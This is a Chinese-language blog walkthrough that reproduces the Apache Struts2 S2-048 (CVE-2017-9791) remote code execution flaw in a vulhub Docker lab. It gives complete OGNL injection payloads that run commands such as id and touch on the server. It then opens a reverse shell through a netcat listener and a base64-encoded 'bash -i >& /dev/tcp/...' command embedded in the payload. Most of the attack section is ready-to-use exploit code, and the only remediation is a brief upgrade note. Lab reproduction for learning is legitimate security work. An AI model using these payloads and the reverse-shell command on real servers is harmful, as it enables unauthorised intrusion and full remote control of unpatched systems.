🍬 博主介绍
👨🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!
文章目录
一、漏洞编号
s2-048
CVE-2017-9791
二、影响范围
Apache Struts 2.3.x系列中启用了struts2-struts1-plugin插件的版本
三、漏洞描述
Apache Struts2 2.3.x 系列启用了struts2-struts1-plugin 插件并且存在 struts2-showcase 目录,其漏洞成因是当ActionMessage接收客户可控的参数数据时,用户可控的值添加到 ActionMessage 并在客户前端展示,导致其进入 getText 函数,最后 message 被当作 ognl 表达式执行,导致任意代码执行。
四、环境搭建
1、进入s2-048环境
cd vulhub/struts2/s2-048
2、启动s2-048环境
docker-compose up -d
3、查看s2-048环境
docker-composeps
4、访问s2-048环境
http://192.168.233.128:8080/integration/editGangster.action
5、查看s2-048漏洞提示信息
cat README.md
6、关闭s2-048环境
复现完记得关闭环境
docker-compose down
五、漏洞复现
1、打开漏洞页面
2、验证漏洞存在
先输入${1+1}以查看执行结果。
可以看到页面回显2,输入1=1的逻辑正确,证明存在该漏洞。
3、POC
把需要执行的命令替换下面的命令即可
%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec('命令').getInputStream())).(#q)}
4、执行id
%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}
查看返回结果,发现id执行成功,该poc有效,该页面存在s2-048漏洞
5、执行ls
%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec('ls').getInputStream())).(#q)}
6、执行touch /tmp/PowerShell.txt
尝试在/tmp目录下创建PowerShell.txt文件
%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec('touch /tmp/PowerShell.txt').getInputStream())).(#q)}
无回显
进入容器查看一下,发现文件创建成功
dockerpsdockerexec-it 容器ID /bin/bash
ls /tmp
六、getshell
1、攻击机监听
nc-lvvp55555
Nc反弹shell在文末给出
2、靶机连接
1.反弹shell命令
Bash反弹shell详解在文末给出
bash-i>& /dev/tcp/192.168.233.1/55555 0>&1
2.exec编码
编码工具在文末给出
bash-c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzMy4xLzU1NTU1IDA+JjE=}|{base64,-d}|{bash,-i}
3.payload
%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzMy4xLzU1NTU1IDA+JjE=}|{base64,-d}|{bash,-i}').getInputStream())).(#q)}
4、执行命令
提交之后浏览器页面一直再转圈圈
3、getshell成功
等了一小会儿之后发现shell反弹过来了
执行ls /tmp发现我们之前创建的文件
七、漏洞修复
建议Apache Struts2 套件升级到最新版本
八、相关资源
1、docker 搭建 vulhub 靶场环境
2、[ vulhub漏洞复现篇 ] vulhub 漏洞集合 - 表格版本(含漏洞复现文章连接)
3、[ vulhub漏洞复现篇 ] vulhub 漏洞集合(含漏洞复现文章连接)
4、[ 隧道技术 ] 反弹shell的集中常见方式(二)bash 反弹shell
5、[ 隧道技术 ] 反弹shell的集中常见方式(一)nc反弹shell
6、Exec编码工具
版权归原作者 _PowerShell 所有, 如有侵权,请联系我们删除。